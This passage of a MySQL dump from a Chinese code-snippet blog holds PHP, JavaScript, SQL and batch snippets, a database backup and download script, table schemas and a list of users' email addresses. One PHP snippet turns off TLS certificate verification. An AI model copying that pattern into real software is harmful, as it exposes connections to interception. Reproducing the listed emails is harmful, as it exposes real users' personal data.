class=\"brush:php;toolbar:false\">object(stdClass)#1&nbsp;(5)&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;[&quot;a&quot;]&nbsp;=&gt;&nbsp;int(1)\r\n&nbsp;&nbsp;&nbsp;&nbsp;[&quot;b&quot;]&nbsp;=&gt;&nbsp;int(2)\r\n&nbsp;&nbsp;&nbsp;&nbsp;[&quot;c&quot;]&nbsp;=&gt;&nbsp;int(3)\r\n&nbsp;&nbsp;&nbsp;&nbsp;[&quot;d&quot;]&nbsp;=&gt;&nbsp;int(4)\r\n&nbsp;&nbsp;&nbsp;&nbsp;[&quot;e&quot;]&nbsp;=&gt;&nbsp;int(5)}\r\n&nbsp;&nbsp;&nbsp;&nbsp;\r\narray(5)&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;[&quot;a&quot;]&nbsp;=&gt;&nbsp;int(1)\r\n&nbsp;&nbsp;&nbsp;&nbsp;[&quot;b&quot;]&nbsp;=&gt;&nbsp;int(2)\r\n&nbsp;&nbsp;&nbsp;&nbsp;[&quot;c&quot;]&nbsp;=&gt;&nbsp;int(3)\r\n&nbsp;&nbsp;&nbsp;&nbsp;[&quot;d&quot;]&nbsp;=&gt;&nbsp;int(4)\r\n&nbsp;&nbsp;&nbsp;&nbsp;[&quot;e&quot;]&nbsp;=&gt;&nbsp;int(5)}</pre><p><br/></p>', '2018-11-28 13:46:46', '4', '1', '10000');
INSERT INTO `lei_daima` VALUES ('31', 'foreach循环方法使用', '<pre class=\"brush:php;toolbar:false\">$var_nandu_hack=array(&#39;|&#39;,&#39;,&#39;,&#39;#&#39;,&#39;*&#39;);\r\n\r\nforeach&nbsp;($var_nandu_hack&nbsp;as&nbsp;$hackval)&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(strpos($nandu_zhuanye,$hackval)!==false){\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert_ini();\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;&lt;script&gt;alert_go(&#39;试题难度，存在禁用字符！&#39;,&#39;alert_back&#39;,&#39;&#39;,&#39;error&#39;,&#39;&#39;);&lt;/script&gt;&quot;;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit;\r\n&nbsp;&nbsp;&nbsp;&nbsp;}\r\n}</pre><p><br/></p>', '2018-11-30 16:36:34', '4', '1', '10000');
INSERT INTO `lei_daima` VALUES ('32', 'JQ显示并在指定时间后隐藏', '<pre class=\"brush:js;toolbar:false\">$(function(){\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$(&quot;#dianji&quot;).click(function(){\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$(&quot;#disappare&quot;).show().delay(3000).hide(300);\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;});\r\n})</pre>', '2018-12-06 20:57:57', '1', '1', '50000');
INSERT INTO `lei_daima` VALUES ('33', 'PHP头header的常用方法', '<pre class=\"brush:php;toolbar:false\">&lt;?php\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;HTTP/1.1&nbsp;200&nbsp;OK&#39;);&nbsp;//&nbsp;ok&nbsp;正常访问\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;HTTP/1.1&nbsp;404&nbsp;Not&nbsp;Found&#39;);&nbsp;//通知浏览器&nbsp;页面不存在\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;HTTP/1.1&nbsp;301&nbsp;Moved&nbsp;Permanently&#39;);&nbsp;//设置地址被永久的重定向&nbsp;301\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Location:&nbsp;http://www.ithhc.cn/&#39;);&nbsp;//跳转到一个新的地址\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Refresh:&nbsp;10;&nbsp;url=http://www.ithhc.cn/&#39;);&nbsp;//延迟转向&nbsp;也就是隔几秒跳转\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;X-Powered-By:&nbsp;PHP/6.0.0&#39;);&nbsp;//修改&nbsp;X-Powered-By信息\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-language:&nbsp;en&#39;);&nbsp;//文档语言\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-Length:&nbsp;1234&#39;);&nbsp;//设置内容长度\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Last-Modified:&nbsp;&#39;.gmdate(&#39;D,&nbsp;d&nbsp;M&nbsp;Y&nbsp;H:i:s&#39;,&nbsp;$time).&#39;&nbsp;GMT&#39;);&nbsp;//告诉浏览器最后一次修改时间\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;HTTP/1.1&nbsp;304&nbsp;Not&nbsp;Modified&#39;);&nbsp;//告诉浏览器文档内容没有发生改变\r\n&nbsp;&nbsp;&nbsp;&nbsp;###内容类型###\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-Type:&nbsp;text/html;&nbsp;charset=utf-8&#39;);&nbsp;//网页编码\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-Type:&nbsp;text/plain&#39;);&nbsp;//纯文本格式\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-Type:&nbsp;image/jpeg&#39;);&nbsp;//JPG、JPEG&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-Type:&nbsp;application/zip&#39;);&nbsp;//&nbsp;ZIP文件\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-Type:&nbsp;application/pdf&#39;);&nbsp;//&nbsp;PDF文件\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-Type:&nbsp;audio/mpeg&#39;);&nbsp;//&nbsp;音频文件&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-type:&nbsp;text/css&#39;);&nbsp;//css文件\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-type:&nbsp;text/javascript&#39;);&nbsp;//js文件\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-type:&nbsp;application/json&#39;);&nbsp;//json\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-type:&nbsp;application/pdf&#39;);&nbsp;//pdf\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-type:&nbsp;text/xml&#39;);&nbsp;//xml\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-Type:&nbsp;application/x-shockw**e-flash&#39;);&nbsp;//Flash动画\r\n&nbsp;&nbsp;&nbsp;&nbsp;######\r\n&nbsp;&nbsp;&nbsp;&nbsp;###声明一个下载的文件###\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-Type:&nbsp;application/octet-stream&#39;);\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-Disposition:&nbsp;attachment;&nbsp;filename=&quot;ITblog.zip&quot;&#39;);\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-Transfer-Encoding:&nbsp;binary&#39;);\r\n&nbsp;&nbsp;&nbsp;&nbsp;readfile(&#39;test.zip&#39;);\r\n&nbsp;&nbsp;&nbsp;&nbsp;######\r\n&nbsp;&nbsp;&nbsp;&nbsp;###对当前文档禁用缓存###\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Cache-Control:&nbsp;no-cache,&nbsp;no-store,&nbsp;max-age=0,&nbsp;must-revalidate&#39;);\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Expires:&nbsp;Mon,&nbsp;26&nbsp;Jul&nbsp;1997&nbsp;05:00:00&nbsp;GMT&#39;);\r\n&nbsp;&nbsp;&nbsp;&nbsp;######\r\n&nbsp;&nbsp;&nbsp;&nbsp;###显示一个需要验证的登陆对话框###&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;HTTP/1.1&nbsp;401&nbsp;Unauthorized&#39;);&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;WWW-Authenticate:&nbsp;Basic&nbsp;realm=&quot;Top&nbsp;Secret&quot;&#39;);&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;######\r\n&nbsp;&nbsp;&nbsp;&nbsp;###声明一个需要下载的xls文件###\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-Disposition:&nbsp;attachment;&nbsp;filename=ithhc.xlsx&#39;);\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-Type:&nbsp;application/vnd.openxmlformats-officedocument.spreadsheetml.sheet&#39;);\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-Length:&nbsp;&#39;.filesize(&#39;./test.xls&#39;));&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Content-Transfer-Encoding:&nbsp;binary&#39;);&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Cache-Control:&nbsp;must-revalidate&#39;);&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;header(&#39;Pragma:&nbsp;public&#39;);&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;readfile(&#39;./test.xls&#39;);&nbsp;\r\n?&gt;</pre><p><br/></p>', '2018-12-19 09:09:54', '4', '1', '60000');
INSERT INTO `lei_daima` VALUES ('34', 'Ajax检测网址是否有效', '<pre class=\"brush:js;toolbar:false\">&lt;script&nbsp;src=&quot;js/jquery.min.js&quot;&nbsp;type=&quot;text/javascript&quot;&nbsp;charset=&quot;gbk&quot;&nbsp;&gt;&lt;/script&gt;\r\n&lt;script&gt;\r\nfunction&nbsp;get_url_status(){\r\n	$.ajax({\r\n		url:&nbsp;&#39;22.php&#39;,\r\n		type:&nbsp;&#39;POST&#39;,\r\n		complete:&nbsp;function(response)&nbsp;{\r\n			if(response.status&nbsp;==&nbsp;200)&nbsp;{\r\n				alert(&#39;有效&#39;);\r\n			}&nbsp;else&nbsp;{\r\n				alert(&#39;无效&#39;);\r\n			}\r\n		}\r\n	});\r\n}\r\n&lt;/script&gt;\r\n\r\n&lt;input&nbsp;name=&quot;2&quot;&nbsp;type=&quot;button&quot;&nbsp;value=&quot;检测&quot;&nbsp;&nbsp;onclick=&quot;get_url_status()&quot;&nbsp;/&gt;</pre><p><br/></p>', '2019-06-17 14:36:46', '1', '1', '20000');
INSERT INTO `lei_daima` VALUES ('35', 'PHP获取传递的POST数据', '<pre class=\"brush:php;toolbar:false\">&lt;?\r\n&nbsp;&nbsp;&nbsp;&nbsp;//通过输入端来获取数据\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$body&nbsp;=&nbsp;file_get_contents(&#39;php://input&#39;);\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;---&nbsp;获取到的原始数据---&nbsp;&quot;.$body;\r\n&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;//解析数据\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$json&nbsp;=&nbsp;json_decode($body&nbsp;);\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;---&nbsp;解析数据---&quot;;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;name:&quot;.$json-&gt;{&#39;name&#39;};\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;age:&quot;.$json-&gt;{&#39;age&#39;};\r\n?&gt;</pre><p><br/></p>', '2019-07-01 09:16:01', '4', '1', '10000');
INSERT INTO `lei_daima` VALUES ('36', '小写数字转中文大写', '<pre class=\"brush:js;toolbar:false\">	function&nbsp;number_chinese()&nbsp;{\r\n			str=$(&quot;#jineall_xiaoxie&quot;).val()\r\n			var&nbsp;num&nbsp;=&nbsp;parseFloat(str);\r\n			var&nbsp;strOutput&nbsp;=&nbsp;&quot;&quot;,\r\n				strUnit&nbsp;=&nbsp;&#39;仟佰拾亿仟佰拾万仟佰拾元角分&#39;;\r\n			num&nbsp;+=&nbsp;&quot;00&quot;;\r\n			var&nbsp;intPos&nbsp;=&nbsp;num.indexOf(&#39;.&#39;);&nbsp;&nbsp;\r\n			if&nbsp;(intPos&nbsp;&gt;=&nbsp;0){\r\n				num&nbsp;=&nbsp;num.substring(0,&nbsp;intPos)&nbsp;+&nbsp;num.substr(intPos&nbsp;+&nbsp;1,&nbsp;2);\r\n			}\r\n			strUnit&nbsp;=&nbsp;strUnit.substr(strUnit.length&nbsp;-&nbsp;num.length);\r\n			for&nbsp;(var&nbsp;i=0;&nbsp;i&nbsp;&lt;&nbsp;num.length;&nbsp;i++){\r\n				strOutput&nbsp;+=&nbsp;&#39;零壹贰叁肆伍陆柒捌玖&#39;.substr(num.substr(i,1),1)&nbsp;+&nbsp;strUnit.substr(i,1);\r\n			}\r\n			$(&quot;#jineall_daxie&quot;).val(&nbsp;strOutput.replace(/零角零分$/,&nbsp;&#39;整&#39;).replace(/零[仟佰拾]/g,&nbsp;&#39;零&#39;).replace(/零{2,}/g,&nbsp;&#39;零&#39;).replace(/零([亿|万])/g,&nbsp;&#39;$1&#39;).replace(/零+元/,&nbsp;&#39;元&#39;).replace(/亿零{0,3}万/,&nbsp;&#39;亿&#39;).replace(/^元/,&nbsp;&quot;零元&quot;))\r\n\r\n	}</pre><p><br/></p>', '2019-07-16 08:38:21', '1', '1', '10000');
INSERT INTO `lei_daima` VALUES ('37', 'MYSQL自定义排序', '<pre class=\"brush:sql;toolbar:false\">select&nbsp;*&nbsp;from&nbsp;table&nbsp;order&nbsp;by&nbsp;field(pid,&#39;0&#39;,&#39;7&#39;,&#39;14&#39;,&#39;20&#39;,&#39;21&#39;),px</pre><p><br/></p>', '2019-08-18 10:24:49', '5', '1', '10000');
INSERT INTO `lei_daima` VALUES ('38', 'JS通过身份证获取出生日期和性别', '<pre class=\"brush:js;toolbar:false\">&lt;script&gt;\r\n//----------------------------------------------------------\r\n//&nbsp;&nbsp;&nbsp;&nbsp;功能：根据身份证号获得出生日期\r\n//&nbsp;&nbsp;参数：身份证号&nbsp;psidno\r\n//&nbsp;&nbsp;&nbsp;&nbsp;返回值：\r\n//&nbsp;&nbsp;&nbsp;&nbsp;出生日期\r\n//----------------------------------------------------------\r\n&nbsp;function&nbsp;GetBirthday(psidno){\r\n&nbsp;\r\n&nbsp;	leibie=$(&quot;#leibie&nbsp;option:selected&quot;).val();\r\n	\r\n	if&nbsp;(leibie==&#39;居民身份证&#39;){\r\n		var&nbsp;birthdayno,birthdaytemp\r\n		if(psidno.length==18){\r\n			birthdayno=psidno.substring(6,14)\r\n		}else&nbsp;if(psidno.length==15){\r\n			birthdaytemp=psidno.substring(6,12)\r\n			birthdayno=&quot;19&quot;+birthdaytemp\r\n		}else{\r\n			alert(&quot;错误的身份证号码，请核对！&quot;)\r\n			return&nbsp;false\r\n		}\r\n		var&nbsp;birthday=birthdayno.substring(0,4)+&quot;-&quot;+birthdayno.substring(4,6)+&quot;-&quot;+birthdayno.substring(6,8)\r\n		$(&quot;#riqi&quot;).val(birthday)\r\n	}\r\n}\r\n\r\n//----------------------------------------------------------\r\n//&nbsp;&nbsp;&nbsp;&nbsp;功能：根据身份证号获得性别\r\n//&nbsp;&nbsp;参数：身份证号&nbsp;psidno\r\n//&nbsp;&nbsp;&nbsp;&nbsp;返回值：\r\n//&nbsp;&nbsp;&nbsp;&nbsp;性别\r\n//----------------------------------------------------------\r\nfunction&nbsp;Getsex(psidno){\r\n\r\n	leibie=$(&quot;#leibie&nbsp;option:selected&quot;).val();\r\n	\r\n	if&nbsp;(leibie==&#39;居民身份证&#39;){\r\n		var&nbsp;sexno,sex\r\n		if(psidno.length==18){\r\n			sexno=psidno.substring(16,17)\r\n		}else&nbsp;if(psidno.length==15){\r\n			sexno=psidno.substring(14,15)\r\n		}else{\r\n			alert(&quot;错误的身份证号码，请核对！&quot;)\r\n			return&nbsp;false\r\n		}\r\n		var&nbsp;tempid=sexno%2;\r\n		if(tempid==0){\r\n			sex=&#39;女&#39;\r\n		}else{\r\n			sex=&#39;男&#39;\r\n		}\r\n	\r\n		$(&quot;:radio[class=&#39;xingbie&#39;][value=&#39;&quot;&nbsp;+&nbsp;sex&nbsp;+&nbsp;&quot;&#39;]&quot;).prop(&quot;checked&quot;,&nbsp;&quot;checked&quot;);\r\n	}\r\n}\r\n\r\n&lt;/script&gt;</pre><p><br/></p>', '2019-08-22 07:43:18', '1', '1', '10000');
INSERT INTO `lei_daima` VALUES ('39', 'JS回车模拟TAB换行', '<pre class=\"brush:js;toolbar:false\">&lt;script&gt;\r\n\r\n$(function()&nbsp;{\r\n	$(&quot;form[name=&#39;formsa&#39;]&nbsp;input:text&quot;).keypress(function(e)&nbsp;{\r\n		if&nbsp;(e.which&nbsp;==&nbsp;13){&nbsp;//&nbsp;判断所按是否回车键\r\n			var&nbsp;inputs&nbsp;=&nbsp;$(&quot;form[name=&#39;formsa&#39;]&quot;).find(&quot;:text&quot;);&nbsp;//&nbsp;获取表单中的所有输入框\r\n			var&nbsp;idx&nbsp;=&nbsp;inputs.index(this);&nbsp;//&nbsp;获取当前焦点输入框所处的位置\r\n			inputs[idx&nbsp;+&nbsp;1].focus();&nbsp;//&nbsp;设置焦点\r\n			inputs[idx&nbsp;+&nbsp;1].select();&nbsp;//&nbsp;选中文字\r\n			return&nbsp;false;\r\n		}\r\n	});\r\n});\r\n&lt;/script&gt;</pre><p><br/></p>', '2019-11-27 21:09:12', '1', '1', '10000');
INSERT INTO `lei_daima` VALUES ('40', 'mysql备份及rar打包相关关键配置代码', '<p>BAT（备份mysql及打包rar）</p><pre class=\"brush:xml;toolbar:false;\">set&nbsp;&quot;Y=%date:~,4%&quot;&nbsp;\r\nset&nbsp;&quot;m=%date:~5,2%&quot;&nbsp;\r\nset&nbsp;&quot;d=%date:~8,2%&quot;&nbsp;\r\n\r\nmd&nbsp;&quot;D:\\mysql_bak\\%Y%\\%m%&quot;\r\n\r\n&quot;D:\\AppServ\\MySQL\\bin\\mysqldump.exe&quot;&nbsp;&nbsp;--defaults-file=&quot;D:\\appserv\\mysql\\mysqldump-user.ini&quot;&nbsp;-uroot&nbsp;test&nbsp;&gt;&nbsp;D:\\mysql_bak\\%Y%\\%m%\\test_%Y%%m%%d%.sql\r\n\r\ncopy&nbsp;D:\\mysql_bak\\%Y%\\%m%\\test_%Y%%m%%d%.sql&nbsp;D:\\AppServ\\www\\auto_backup_bat\\mysql_test.sql\r\n\r\nstart&nbsp;C:\\&quot;Program&nbsp;Files&quot;\\WinRAR\\WinRAR.exe&nbsp;a&nbsp;D:\\AppServ\\www\\auto_backup_bat\\web_test.rar_bz&nbsp;D:\\AppServ\\www</pre><p>.HTACCESS（限制指定后缀文件，只能指定IP访问）</p><pre class=\"brush:xml;toolbar:false\">&lt;Files&nbsp;~&nbsp;&quot;.(sql|rar_bz)$&quot;&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;order&nbsp;deny,allow\r\n&nbsp;&nbsp;&nbsp;&nbsp;deny&nbsp;from&nbsp;all\r\n&nbsp;&nbsp;&nbsp;&nbsp;allow&nbsp;from&nbsp;10.64.200.17\r\n&nbsp;&nbsp;&nbsp;&nbsp;allow&nbsp;from&nbsp;10.64.8.200\r\n&lt;/Files&gt;</pre><p>BAT（远程下载）</p><pre class=\"brush:xml;toolbar:false\">set&nbsp;&quot;Y=%date:~,4%&quot;&nbsp;\r\nset&nbsp;&quot;m=%date:~5,2%&quot;&nbsp;\r\nset&nbsp;&quot;d=%date:~8,2%&quot;&nbsp;\r\n\r\nmd&nbsp;&quot;F:\\Auto_download\\%Y%\\%m%\\%d%&quot;\r\n\r\npowershell&nbsp;(new-object&nbsp;System.Net.WebClient).DownloadFile(&#39;http://10.64.8.100/auto_backup_bat/mysql_test.sql&#39;,&#39;F:\\Auto_download\\%Y%\\%m%\\%d%\\test.sql&#39;)\r\n\r\npowershell&nbsp;(new-object&nbsp;System.Net.WebClient).DownloadFile(&#39;http://10.64.8.100/auto_backup_bat/web_test.rar_bz&#39;,&#39;F:\\Auto_download\\%Y%\\%m%\\%d%\\test.rar&#39;)</pre><p><br/></p>', '2019-12-13 08:59:22', '3', '1', '10000');
INSERT INTO `lei_daima` VALUES ('41', 'file_get_contents获取HTTPS内容', '<pre class=\"brush:php;toolbar:false\">&lt;?\r\n\r\nheader(&quot;Content-Type:&nbsp;text/html;charset=GB2312&quot;);\r\nsession_start();//开启session功能\r\ndate_default_timezone_set&nbsp;(&quot;PRC&quot;);//设置时区\r\nset_time_limit(0);\r\n\r\n$var_url&nbsp;=&nbsp;&#39;https://www.mdaima.com&#39;;\r\n\r\n$arrContextOptions&nbsp;=&nbsp;[\r\n&nbsp;&nbsp;&nbsp;&nbsp;&#39;ssl&#39;&nbsp;=&gt;&nbsp;[\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;verify_peer&#39;&nbsp;=&gt;&nbsp;false,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;verify_peer_name&#39;&nbsp;=&gt;&nbsp;false,\r\n&nbsp;&nbsp;&nbsp;&nbsp;]\r\n];\r\n$getv&nbsp;=&nbsp;file_get_contents($var_url,&nbsp;false,&nbsp;stream_context_create($arrContextOptions));\r\n\r\n\r\nif&nbsp;(&nbsp;strpos(&nbsp;$getv,&nbsp;&quot;-49.mp4&quot;&nbsp;)&nbsp;!==&nbsp;false&nbsp;)&nbsp;{\r\n	?&gt;\r\n	&lt;audio&nbsp;id=&quot;bgmp3&quot;&nbsp;autoplay&nbsp;loop&gt;\r\n		&lt;source&nbsp;src=&quot;yinsu_1.mp3&quot;&nbsp;type=&quot;audio/mpeg&quot;&gt;\r\n	&lt;/audio&gt;\r\n	&lt;?\r\n}else{\r\n	\r\n	echo&nbsp;date(&quot;Y-m-d&nbsp;H:i:s&quot;).&#39;-监控中......&#39;;\r\n}\r\n\r\n?&gt;</pre><p><br/></p>', '2020-02-28 16:12:23', '4', '1', '10000');

-- ----------------------------
-- Table structure for `lei_daima_bk`
-- ----------------------------
DROP TABLE IF EXISTS `lei_daima_bk`;
CREATE TABLE `lei_daima_bk` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `keyword` varchar(20) NOT NULL,
  `pass` varchar(5) NOT NULL,
  `px` int(11) NOT NULL,
  PRIMARY KEY (`id`),
  KEY `pass` (`pass`) USING BTREE
) ENGINE=MyISAM AUTO_INCREMENT=14 DEFAULT CHARSET=utf8;

-- ----------------------------
-- Records of lei_daima_bk
-- ----------------------------
INSERT INTO `lei_daima_bk` VALUES ('1', 'JavaScript / JQuery', '1', '100');
INSERT INTO `lei_daima_bk` VALUES ('2', 'Html / Css', '1', '200');
INSERT INTO `lei_daima_bk` VALUES ('3', 'Apache服务器配置', '1', '900');
INSERT INTO `lei_daima_bk` VALUES ('4', 'PHP常用函数代码', '1', '400');
INSERT INTO `lei_daima_bk` VALUES ('5', 'MYSQL常用函数代码', '1', '500');

-- ----------------------------
-- Table structure for `lei_huoyue`
-- ----------------------------
DROP TABLE IF EXISTS `lei_huoyue`;
CREATE TABLE `lei_huoyue` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `indate` datetime NOT NULL,
  `nicheng` varchar(50) NOT NULL,
  `xuan_img` varchar(100) NOT NULL,
  `username` varchar(50) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=95 DEFAULT CHARSET=utf8;

-- ----------------------------
-- Records of lei_huoyue
-- ----------------------------
INSERT INTO `lei_huoyue` VALUES ('87', '2018-11-03 11:48:48', '码代码网友', '/images/touxiang/19.jpg', 'mdaima#18941082@qq.com');
INSERT INTO `lei_huoyue` VALUES ('82', '2018-04-08 19:08:16', '疯子墨博客', '/images/touxiang/12.jpg', 'mdaima#973525196@qq.com');
INSERT INTO `lei_huoyue` VALUES ('86', '2018-11-22 08:15:06', '码代码网友', '/images/touxiang/19.jpg', '18941082@qq.com');
INSERT INTO `lei_huoyue` VALUES ('67', '2018-10-21 11:49:41', '博主℃李雷', '/images/user/201510/07/user_2de3c6b04448c2df9e6734206d10e975', 'mdaima@126.com');
INSERT INTO `lei_huoyue` VALUES ('85', '2018-10-16 10:28:06', 'share1223', '/images/touxiang/14.jpg', 'mdaima#429044767@qq.com');
INSERT INTO `lei_huoyue` VALUES ('81', '2019-01-15 15:05:01', '你就坏吧', '/images/touxiang/24.jpg', 'lileihot@126.com');
INSERT INTO `lei_huoyue` VALUES ('92', '2019-10-27 22:31:50', '招商加盟', '/images/touxiang/8.jpg', 'mdaima#307291899@qq.com');
INSERT INTO `lei_huoyue` VALUES ('83', '2018-05-02 19:25:28', '残影', '/images/touxiang/10.jpg', 'mdaima#wadgw66@163.com');
INSERT INTO `lei_huoyue` VALUES ('84', '2018-10-12 15:34:21', '码农', '/images/touxiang/14.jpg', 'mdaima#887777@qq.com');
INSERT INTO `lei_huoyue` VALUES ('88', '2018-11-20 13:09:25', '历史上的', '/images/touxiang/3.jpg', 'mdaima#xiyeming@163.com');
INSERT INTO `lei_huoyue` VALUES ('89', '2019-02-11 09:20:31', '路人甲', '/images/touxiang/25.jpg', 'mdaima#ok123@qq.com');
INSERT INTO `lei_huoyue` VALUES ('90', '2019-06-28 09:10:37', '码代码网友', '/images/touxiang/12.jpg', '394721570@qq.com');
INSERT INTO `lei_huoyue` VALUES ('91', '2019-07-28 16:59:10', 'repostone', '/images/touxiang/6.jpg', 'mdaima#1@1.com');
INSERT INTO `lei_huoyue` VALUES ('93', '2020-03-05 11:00:52', 'sskd', '/images/touxiang/5.jpg', 'mdaima#lsma@126.com');
INSERT INTO `lei_huoyue` VALUES ('94', '2020-04-06 15:45:33', 'Powerby李雷', '/images/touxiang/16.jpg', 'mdaima#858353007@qq.com');

-- ----------------------------
-- Table structure for `lei_jifen`
-- ----------------------------
DROP TABLE IF EXISTS `lei_jifen`;
CREATE TABLE `lei_jifen` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(50) NOT NULL,
  `indate` date NOT NULL,
  `intime` datetime NOT NULL,
  `jifen` int(11) NOT NULL,
  `leixing` varchar(30) NOT NULL,
  `ip` varchar(30) NOT NULL,
  `bz` varchar(100) NOT NULL,
  PRIMARY KEY (`id`),
  KEY `leixing` (`leixing`),
  KEY `username` (`username`)
) ENGINE=MyISAM AUTO_INCREMENT=412 DEFAULT CHARSET=utf8;

-- ----------------------------
-- Records of lei_jifen
-- ----------------------------

-- ----------------------------
-- Table structure for `lei_jingyan`
-- ----------------------------
DROP TABLE IF EXISTS `lei_jingyan`;
CREATE TABLE `lei_jingyan` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `title` varchar(100) NOT NULL,
  `title_code` varchar(500) NOT NULL,
  `shipin` varchar(35) NOT NULL,
  `zhiding` varchar(5) NOT NULL,
  `keyword` varchar(100) NOT NULL,
  `simgpaths` varchar(100) NOT NULL,
  `indate` datetime NOT NULL,
  `laiyuan` varchar(30) NOT NULL,
  `message` text NOT NULL,
  `hits` int(11) NOT NULL,
  `pass` varchar(5) NOT NULL,
  `huifuzt` varchar(5) NOT NULL,
  `pinglun` varchar(5) NOT NULL,
  `guanjianci` varchar(50) NOT NULL,
  PRIMARY KEY (`id`),
  KEY `pass` (`pass`),
  KEY `zhiding` (`zhiding`,`indate`),
  FULLTEXT KEY `title_code` (`title_code`)
) ENGINE=MyISAM AUTO_INCREMENT=73 DEFAULT CHARSET=utf8;

-- ----------------------------
-- Records of lei_jingyan
-- ----------------------------
INSERT INTO `lei_jingyan` VALUES ('5', 'PHP函数implode()与explode()的区别及数组与字符串互转的用法讲解', 'PAAAAA HAAAAA PAAAAA 26152615 42934293 iAAAAA mAAAAA pAAAAA lAAAAA oAAAAA dAAAAA eAAAAA -120-160-120-160 -119-160-119-160 51755175 eAAAAA xAAAAA pAAAAA lAAAAA oAAAAA dAAAAA eAAAAA -120-160-120-160 -119-160-119-160 21362136 39883988 17801780 28162816 42934293 55735573 51755175 55545554 23912391 20142014 27052705 55105510 21362136 51355135 23082308 29182918 29662966', '', '0', '-6-', '../upload_image/2015/09/17/150917776905701172', '2015-09-17 16:14:50', '本站整理', '<p>PHP函数implode()是把数组元素组合为一个字符串。<br/>函数用法：implode(separator,array)<br/>参数 separator 可选。规定数组元素之间放置的内容。默认是&quot; &quot;（空白），也可以换为逗号（,）或分隔符号（|）。&nbsp;<br/>参数 array 必需。要组合为字符串的数组。&nbsp;<br/>参数 separator 是可选的。但是为了向后兼容，推荐使用这个参数。</p><p><strong>PHP函数implode()的例子</strong></p><pre class=\"brush:php;toolbar:false\">&lt;?php&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;$arr&nbsp;=&nbsp;array(&#39;Hello&#39;,&#39;LiLei！&#39;,&#39;欢迎访问码代码&#39;,&#39;李雷博客www.mdaima.com！&#39;);&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;implode(&quot;&nbsp;&quot;,$arr);&nbsp;&nbsp;\r\n?&gt;</pre><p>输出结果：</p><pre 